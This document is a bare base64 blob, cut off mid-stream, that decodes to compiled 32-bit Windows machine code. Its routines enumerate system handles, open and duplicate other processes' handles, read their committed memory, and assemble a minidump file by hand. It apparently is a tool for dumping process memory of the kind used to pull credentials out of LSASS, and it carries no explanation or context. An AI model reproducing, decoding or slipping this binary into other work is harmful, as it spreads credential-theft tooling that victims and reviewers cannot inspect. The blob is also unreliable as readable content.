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A6eYAAADHRCQMBAAAAI1FmIlEJAjHRCQEJAAAAItFCIkEJOi6+P//x0QkDAQAAACNhVz///+JRCQIx0QkBCgAAACLRQiJBCTolfj//4tFCItACImFWP///4tF4A+3AA+3wImFVP///8dEJAgEAAAAjYVU////iUQkBItFCIkEJOiP+P//hcB1B7gAAAAA61yLReAPtwAPt9CLReCLQASJVCQIiUQkBItFCIkEJOhi+P//hcB1B7gAAAAA6y+LhVz///+NUBjHRCQMBAAAAI2FWP///4lEJAiJVCQEi0UIiQQk6Pv3//+4AQAAAIt9/MnDVYnlV1ZTgexcAQAAjUWUuyDwQAC6EgAAAInHid6J0fOli0UIiwDHRCQMAQAAAMdEJAgSAAAAjVWUiVQkBIkEJOge2///iUXgg33gAHUKuAAAAADphAUAAItF4IlF5MdFkAAAAADp1QAAAItFkIPAAYlFkItFCItQCItF5ImQFAEAAItF5IPAFMdEJAQAAQAAiQQk6PQuAACJhRj///+LhRj///+DwAGJhRj///+LhRj///8BwImFGP///8dEJAgEAAAAjYUY////iUQkBItFCIkEJOhL9///hcB1HItF4IkEJOiNw///x0XgAAAAALgAAAAA6eQEAACLhRj///+LVeSDwhSJRCQIiVQkBItFCIkEJOgM9///hcB1HItF4IkEJOhOw///x0XgAAAAALgAAAAA6aUEAACLReSLAIlF5IN95AAPhSH///+LRQiLQAiJRYzHRCQIBAAAAI1FkIlEJASLRQiJBCTot/b//4XAdRyLReCJBCTo+cL//8dF4AAAAAC4AAAAAOlQBAAAx4Ug////AAAAAI2VJP///7gAAAAAuRoAAACJ1/Ori0XgiUXk6cQDAACNlaj+//+4AAAAALkcAAAAidfzq4tF5ItQDItACLoAAAAAiYWo/v//iZWs/v//i0Xki0AQiYWw/v//i0Xki4AcAQAAiYW0/v//i0Xki4AYAQAAiYW4/v//i0Xki4AUAQAAiYW8/v//x4XA/v//AAAAAMeFxP7//wAAAADHhcj+//8AAAAAx4XM/v//AAAAAMeF0P7//wAAAADHhdT+//8AAAAAx4XY/v//AAAAAMeF3P7//wAAAADHheD+//8AAAAAx4Xk/v//AAAAAMeF6P7//wAAAADHhez+//8AAAAAx4Xw/v//AAAAAMeF9P7//wAAAADHhfj+//8AAAAAx4X8/v//AAAAAMeFAP///wAAAADHhQj///8AAAAAx4UM////AAAAAMeFEP///wAAAADHhRT///8AAAAAx0XcAAAAAI2VIP///4tF3I0MAouFqP7//4uVrP7//4kBiVEEg0XcCI2VIP///4tF3AHCi4Ww/v//iQKDRdwEjZUg////i0XcAcKLhbT+//+JAoNF3ASNlSD///+LRdwBwouFuP7//4kCg0XcBI2VIP///4tF3AHCi4W8/v//iQKDRdwEjZUg////i0XcAcKLhcD+//+JAoNF3ASNlSD///+LRdwBwouFxP7//4kCg0XcBI2VIP///4tF3AHCi4XI/v//iQKDRdwEjZUg////i0XcAcKLhcz+//+JAoNF3ASNlSD///+LRdwBwouF0P7//4kCg0XcBI2VIP///4tF3AHCi4XU/v//iQKDRdwEjZUg////i0XcAcKLhdj+//+JAoNF3ASNlSD///+LRdwBwouF3P7//4kCg0XcBI2VIP///4tF3AHCi4Xg/v//iQKDRdwEjZUg////i0XcAcKLheT+//+JAoNF3ASNlSD///+LRdwBwouF6P7//4kCg0XcBI2VIP///4tF3AHCi4Xs/v//iQKDRdwEjZUg////i0XcAcKLhfD+//+JAoNF3ASNlSD///+LRdwBwouF9P7//4kCg0XcBI2VIP///4tF3AHCi4X4/v//iQKDRdwEjZUg////i0XcAcKLhfz+//+JAoNF3ASNlSD///+LRdwBwouFAP///4kCg0XcBI2VIP///4tF3I0MAouFCP///4uVDP///4kBiVEEg0XcCI2VIP///4tF3I0MAouFEP///4uVFP///4kBiVEEx0QkCGwAAACNhSD///+JRCQEi0UIiQQk6M/y//+FwHUZi0XgiQQk6BG////HReAAAAAAuAAAAADra4tF5IsAiUXkg33kAA+FMvz//4tFkGvAbIPABImFHP///8dEJAwEAAAAjYUc////iUQkCMdEJAQwAAAAi0UIiQQk6Dry///HRCQMBAAAAI1FjIlEJAjHRCQENAAAAItFCIkEJOgY8v//i0XggcRcAQAAW15fXcNVieWD7BCLRQyJRfzrO4tF/ItQDItACInCi0UIOcJ3IYtF/ItQDItACInCi0X8i0A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